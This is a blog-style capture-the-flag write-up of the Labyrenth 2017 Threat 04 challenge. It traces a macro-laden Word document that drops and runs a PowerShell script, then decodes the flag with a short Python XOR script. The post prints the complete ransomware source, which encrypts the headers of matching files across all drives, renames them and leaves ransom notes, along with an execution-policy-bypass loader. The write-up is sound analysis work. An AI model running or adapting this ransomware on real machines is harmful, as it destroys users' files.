Monday, July 24, 2017

Palo Alto Labyrenth Threat 04 Writeup

Labyrenth 2017 Threat 04

Part 1

We are presented with a document, upon opening the file we see a warning

So let's activate the macros and see what happens.


Having a look at the vba macro editor we can see that the document isn't password protected and contains a document open function.
Private Sub Document_Open()
If ActiveDocument.Variables("ygsbFH").Value <> "goblinkingbb" Then
vsMaqqxEhbNVPMi
ActiveDocument.Variables("ygsbFH").Value = "goblinkingbb"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub
The function basically makes sure that you can only run the file once, afterwards the document variable ygsbFH is overwritten. Having a look at the vsMaqqxEhbNVPMi function we will see that the aforementioned variable is important/required for the decryption mechanism.

We have multiple ways to continue, the easiest is to just remove the code that overwrites the important document variable so we are able to run the code multiple times. Doing that and saving the file as .docm allows us to run it over and over again

Private Sub Document_Open()
If ActiveDocument.Variables("ygsbFH").Value <> "goblinkingbb" Then
vsMaqqxEhbNVPMi
End If
End Sub
I tried debugging the vsMaqqxEhbNVPMi function this way but failed to enter the function as Microsoft Word kept crashing. So I went back to my fallback mode and tried extracting the macros using oletools (https://github.com/decalage2/oletools) and copying them into a new .docm file.
To dump the macros from bbransom.doc, I placed the file in the ole folder and used
python olevba.py bbransom.doc > macros.txt
I mentioned before that the ygsbFH is important, so I dumped the variable from the original file and reloaded it in my own .docm. A code reference for write/read operation in vba is http://codevba.com/office/read_text_file_into_string_variable.htm. I added the following code to the Document_Open() function to dump the variable to var.txt

Dim myFile As String
myFile = "var.txt"
Open myFile For Output As #1
Write #1, ActiveDocument.Variables("ygsbFH").Value
Close #1







I removed the " and newline from the var.txt and saved it on my Desktop.

I created a new document and pasted the extracted macros from oletools into it. I noticed that the private function is the decoding function and references the ygsbFH variable. I replaced the original function with a modified one that loads the variable from file.

Private Function cuJgIWtkPd(dytGKUVpoS As Variant, QVuOQXtBcV As Integer)
Dim myFile As String
myFile = "C:\Users\jones\Desktop\var.txt"
Dim iFile As Integer: iFile = FreeFile
Open myFile For Input As #iFile
ygsbFH = Input(LOF(iFile), iFile)
Close #iFile
Dim TOJDOAXFXr, eXrxcIdKmp As String, cAJHqnrFBj, QnGcAinJcu
eXrxcIdKmp = ygsbFH
TOJDOAXFXr = ""
cAJHqnrFBj = 1
While cAJHqnrFBj < UBound(dytGKUVpoS) + 2
QnGcAinJcu = cAJHqnrFBj Mod Len(eXrxcIdKmp): If QnGcAinJcu = 0 Then QnGcAinJcu = Len(eXrxcIdKmp)
TOJDOAXFXr = TOJDOAXFXr + Chr(Asc(Mid(eXrxcIdKmp, QnGcAinJcu + QVuOQXtBcV, 1)) Xor CInt(dytGKUVpoS(cAJHqnrFBj - 1)))
cAJHqnrFBj = cAJHqnrFBj + 1
Wend
cuJgIWtkPd = TOJDOAXFXr
End Function
Next I had a look at the extracted macros. One can see the MsgBox we saw running the original file.



The next line is about creating a textfile which looks promising letting the decoding function do it's work we get the filepath C:\Users\public\panlaby.ps1



The next instructions are all about decoding strings and writing them to the textfile, so I ran the script to a.Close and made a backup of the file by opening Windows Explorer and copying the file to desktop.

The last lines of the macro function create a new WScript.Shell object and run the file. I once again let the decoding function do it's work and extracted the command line options.

The second parameter is C:\Users\public\panlaby.ps1
That's it for the first part of the challenge.

Part 2

The next part of the challenge is about understanding the extracted panlaby.ps1. For your reference this is the original file

$I1lII11ll1I = [System.Text.Encoding]::UTF8
$III111lllI1 = "DwImSAI1CgMYSQQ+GhoO"
$111IlIIIlll = $I1lII11ll1I.GetBytes("For great justice")
$III111lllI1 = $I1lII11ll1I.GetString([System.Convert]::FromBase64String($III111lllI1))
$lllII111lIl = $I1lII11ll1I.GetBytes($III111lllI1)
$183846385837478 = $(for ($i = 0; $i -lt $lllII111lIl.length; ) {
for ($j = 0; $j -lt $111IlIIIlll.length; $j++) {
$lllII111lIl[$i] -bxor $111IlIIIlll[$j]
$i++
if ($i -ge $lllII111lIl.Length) {
$j = $111IlIIIlll.length
}
}
})
$183846385837478 = $I1lII11ll1I.GetString($183846385837478)
$87462387472378 = "OjsjcvRgahjsHbsbbcghhdUjjcRtgWhscJhsdUjsbndRgj"
$4874585896348756 = ([Char[]](GeT-RaNdom -Input $(48..57 + 65..90 + 97..122) -Count 24)) -join ""
[byte[]]$462873463874364=[system.Text.Encoding]::Unicode.GetBytes($183846385837478)
$CFFGCHFFDSEUHGGCFT = [Text.Encoding]::UTF8.GetBytes($87462387472378)
$gYGXCbbdcRgsbfIuahs = neW-Object System.Security.Cryptography.RijndaelManaged
$gYGXCbbdcRgsbfIuahs.Key = (new-Object Security.Cryptography.Rfc2898DeriveBytes $183846385837478, $CFFGCHFFDSEUHGGCFT, 5).GetBytes(32)
$gYGXCbbdcRgsbfIuahs.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash([Text.Encoding]::UTF8.GetBytes("alle") )[0..15]
$gYGXCbbdcRgsbfIuahs.Padding="Zeros"
$gYGXCbbdcRgsbfIuahs.Mode="CBC"
$RgxnnHgxghRThajcUJJ= gdr|where {$_.Free}|Sort-ObjeCt -Descending
foreach($TgbcRThahjdRRGHjj in $RgxnnHgxghRThajcUJJ){
gci $TgbcRThahjdRRGHjj.root -Recurse -Include "*.urbb","*.toby"|%{
try{
$ChhxnRJhhsncGHH = New-Object System.IO.BinaryReader([System.IO.File]::Open($_, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
if ($ChhxnRJhhsncGHH.BaseStream.Length -lt 2048){return}
else
{
$gjYujsjdRThsncGHja = 2048
}
$462873463874364 = $ChhxnRJhhsncGHH.ReadBytes($gjYujsjdRThsncGHja)
$ChhxnRJhhsncGHH.Close()
$JkkxTYajncGRahjdjHJ = $gYGXCbbdcRgsbfIuahs.CreateEncryptor()
$oUUixjHHhjjxRTHNJ = new-Object IO.MemoryStream
$HhxjhTTYhajdJJJasO = new-Object Security.Cryptography.CryptoStream $oUUixjHHhjjxRTHNJ,$JkkxTYajncGRahjdjHJ,"Write"
$HhxjhTTYhajdJJJasO.Write($462873463874364, 0,$462873463874364.Length)
$HhxjhTTYhajdJJJasO.Close()
$oUUixjHHhjjxRTHNJ.Close()
$JkkxTYajncGRahjdjHJ.Clear()
$Bnx587Fhsjc7ijF4 = $oUUixjHHhjjxRTHNJ.ToArray()
$HhjxcRTahjdUYUIN = New-Object System.IO.BinaryWriter([System.IO.File]::Open($_, [System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::Read),[System.Text.Encoding]::ASCII)
$HhjxcRTahjdUYUIN.Write($Bnx587Fhsjc7ijF4,0,$Bnx587Fhsjc7ijF4.Length)
$HhjxcRTahjdUYUIN.Close()
$GFfstdtHjsjRhgjs=$_.Name+'.bbmine'
ren -Path $_.FullName -NewName $GFfstdtHjsjRhgjs -Force
$uUhxjhcTYhajWRahhd = $_.Directory.ToString() + '\_HELP_instructions.html'
$YuxjncRgahdjjcTYHJ = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgxPkkgYW0gdGhlIGdvYmxpbiBraW5nITwvaDE+PGJyPkFsbCB1ciBiYnogIGFyZSBiZWxvbmcgdG8gdXMuIFlvdSBoYXZlIG5vIGNoYW5jZSB0byBzdXJ2aXZlIG1ha2UgeW91ciB0aW1lLg=="));
New-Item -Path $uUhxjhcTYhajWRahhd -ItemType file -Value $YuxjncRgahdjjcTYHJ
Add-Content -Path $uUhxjhcTYhajWRahhd -Value ("<h1>CLIENT ID: $4874585896348756 <br></h1>")
Add-Content -Path $uUhxjhcTYhajWRahhd -Value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgyPkNhbXBhaWduIElEOiBGaTQ4VzFVVEF3TVNRVmtRUmsxYVZBQi9EVVFSVnhRQkJ4ZEdDQmNTRUZ0VUIzUlhFRUpYRkZ4UlRFUmJRaGRIV2dWY2RncEtRMThUQVZSREV3dE5Ga1JmVndNNyA8YnI+PC9oMj4=")));
Add-Content -Path $uUhxjhcTYhajWRahhd -Value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgzPlZlcnNpb24gS2V5OiBGb3IgZ3JlYXQganVzdGljZSA8YnI+PC9oMz4=")));
}
catch
{
}
}}
function YHBFDXGFGHGJHDRSD() {
$fhYThncwwIjfDFGHsf = (Get-VaRiable MyInvocation -Scope 1).Value
$YHnbbfgcgfcEThhYH =  $fhYThncwwIjfDFGHsf.MyCommand.Path
Remove-ITem $YHnbbfgcgfcEThhYH
}
YHBFDXGFGHGJHDRSD
There are a few words sticking out immediately, Security.Cryptography function calls and _HELP_instructions.html. This looks like a powershell ransomware. Having further looks at the script one can also see two strings that look like file extensions. .urbb and .toby.
To get a better understanding of the code I started renaming variables and removed the last few lines that were responsible for deleting the file.

I ran the file by creating a cmd I called loader.cmd

powershell.exe -NoP -sta -NonI -ep bypass "C:\Users\jones\Desktop\panlaby.ps1"
pause


Running the file confirmed my suspicion about the ransomware





I noticed that it tries to read 2048 of a given file and if it fails stops, so I created a .toby file on my desktop with more than 2048 bytes and run the loader.cmd once again. The script found the file, encrupted the first 2048 bytes, changed the extension and created a _HELP_instructions.html on my desktop.

Opening the instruction file we get


The next step is to figure out how/where these values are created.
For the Client ID we find a get-random
$4874585896348756 = ([Char[]](GeT-RaNdom -Input $(48..57 + 65..90 + 97..122) -Count 24)) -join ""
The campaign ID and Version Key are static, to retrieve them I pasted the following lines into a powershell window

([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgyPkNhbXBhaWduIElEOiBGaTQ4VzFVVEF3TVNRVmtRUmsxYVZBQi9EVVFSVnhRQkJ4ZEdDQmNTRUZ0VUIzUlhFRUpYRkZ4UlRFUmJRaGRIV2dWY2RncEtRMThUQVZSREV3dE5Ga1JmVndNNyA8YnI+PC9oMj4=")))
([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("PGgzPlZlcnNpb24gS2V5OiBGb3IgZ3JlYXQganVzdGljZSA8YnI+PC9oMz4=")))

So whatever file we are encoding, the Client ID will always be a random value, whereas Campaign ID and Version Key will always be the same. I had a further look at the powershell script and realized there is nothing more to to with it. So I kept thinking about what to do with the given values.

Part 3

The final part was about extracting the flag from the given values. By trial and error I base64 decoded the Campaign ID and xored the result with the key "For great justice" using the following python script


import base64
target = 'Fi48W1UTAwMSQVkQRk1aVAB/DUQRVxQBBxdGCBcSEFtUB3RXEEJXFFxRTERbQhdHWgVcdgpKQ18TAVRDEwtNFkRfVwM7'
xor_key = 'For great justice'
res = ''
target = base64.b64decode(target)
for i in range(0,len(target)):
    res+= chr(ord(target[i])^ord(xor_key[i%len(xor_key)]))
print res
The output of the script is our flag for threat 4
PAN{2afbfa3e5937e9b610fdfcfbbad27b28bb0f908d17d33f90e8c8ad573a8e064f}

No comments:

Post a Comment